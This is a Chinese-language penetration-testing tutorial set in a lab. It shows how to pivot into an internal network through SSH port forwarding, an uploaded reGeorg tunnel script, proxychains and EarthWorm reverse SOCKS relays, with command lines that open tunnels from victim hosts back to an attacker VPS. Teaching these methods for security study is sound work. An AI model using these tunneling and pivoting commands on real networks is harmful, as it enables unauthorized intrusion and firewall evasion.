内网渗透测试:隐藏通讯隧道技术(下)
内网渗透测试:隐藏通讯隧道技术(下)
系列文章:
内网渗透测试:隐藏通讯隧道技术(上)
什么是隧道?
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
应用层隧道技术
应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS和DNS。这里我们主要讲解SSH和HTTP/HTTPS,DNS隧道我会在未来专门写一个专题进行讲解。SSH协议
SSH 为建立在应用层基础上的安全协议,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、DigitalUNIX、Irix,以及其他平台,都可运行SSH。一般情况下,SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。SSH 命令ssh 用户名@ip -p 端口号>创建ssh隧道常用的参数有:
- -C:压缩传输,提高传输速度
- -f:将ssh传输转入后台执行,不占用当前的shell
- -N:静默连接,连接后看不到具体会话
- -g:允许远程主机连接本地用于转发的端口
- -L:本地端口转发
- -R:远程端口转发
- -D:动态转发(SOCKS 代理)
- -p:指定ssh端口

攻击者vps模拟外网IP:192.168.1.101内网web服务器模拟外网IP:192.168.103内网IP:192.168.52.128内网受害机Windows Server 8内网IP:192.168.52.138攻击者vps可以访问内网web服务器,但不能访问内网受害机Windows Server 8;内网web服务器与内网受害机Windows Server 8可以互访。我们的思路是:以Web服务器为跳板,访问Windows Server 8的3389端口。利用的前提是已经拿到了明文密码。在攻击者vps上面执行:
ssh -CfNg -L 1153(vps端口) : 192.168.52.138(目标机ip) : 3389(目标端口) root@192.168.1.103(跳板机) //攻击者vps主动去连web-L:本地端口转发


rdesktop 127.0.0.1:1153


ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps) // 受害机主动连接vps-R:远程端口转发




ssh -CfNg -D 7000 root@192.168.1.103(内网web)这里,命令中不需要像前两个一样指定目标服务器和端口号。执行上面的命令后 SSH 客户端(攻击机vps)就开始监听本机 localhost 的 7000 端口。你可以把本机上浏览器网络配置中的 Socks 服务器指定为127.0.0.1:7000。然后浏览器中的请求会被转发到 SSH 服务端(内网web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。



HTTP(S) 协议
HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service 代理用于将所有的流量转发到内网。reGeorg下载地址:https://github.com/sensepost/reGeorg首先我们需要明白正向代理和反向代理的区别:reGeorg是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。正向代理(Forward Proxy)
Lhost-->proxy-->RhostLhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
反向代理(reverse proxy)
Lhost-->proxy-->firewall-->Rhost和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。


操作时将tunnel.(aspx|ashx|jsp|php)上传到目标Web服务器,具体取决于远程服务器支持什么样的语言。我这里是php服务器,所以我们上传tunnel.nosocket.php,php这里分为有socket与无socket的,tunnel.php需要使用dl()函数加载socket模块,其需要修改php.ini,所以我们使用的是tunnel.nosocket.php。

python reGeorgSocksProxy.py -u http://192.168.1.7/tunnel.nosocket.php -p 9999

git clone https://github.com/rofl0r/proxychains-ng.git cd proxychains-ng ./configure make && make install cp ./src/proxychains.conf /etc/proxychians.conf cd .. && rm -rf proxychains-ng编辑proxychains配置文件:
vim /etc/proxychains.conf在末尾添加
socks5 127.0.0.1 9999 // 9999为你自己的端口,需要与reGeorg中设置的端口相同

proxychains4 nmap 192.168.52.138 -Pn -sT -p 3389 // -Pn和-sT必须带着

proxychains4 rdesktop 192.168.52.138

应用层的隧道还有有一个重要的技术就是DNS隧道技术,由于小编能力太菜,~~呜呜呜~~,很多东西也是现学现卖,所以我将在未来专门写一个专题来对其进行介绍。
SOCKS 代理技术
Socks代理即全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。常见的网络场景有如下三类:- 服务器在内网中,可以任意访问外部网络。
- 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
- 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

EarthWorm
EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。
ew_for_Win.exe -s ssocksd -l 888


proxychains4 rdesktop 192.168.52.138


./ew_for_linux64 -s rcsocks -l 1080 -e 1234该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,这里1234端口只是用于传输流量。

ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234


proxychains4 rdesktop 192.168.52.141


ew_for_Win.exe -s ssocksd -l 1234

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234




ew_for_linux64 -s lcx_listen -l 1080 -e 1234

ew_for_Win.exe -s ssocksd -l 999

ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999








参考:https://blog.csdn.net/Kris__zhang/article/details/106821917https://www.tuicool.com/articles/JNRn6nYhttp://rootkiter.com/EarthWorm/《内网安全攻防:渗透测试实战指南》

笔者尚为正在入门的小白一枚,文中若有不当之处,还请各位大佬多多指点,小生还需多向前辈们学习!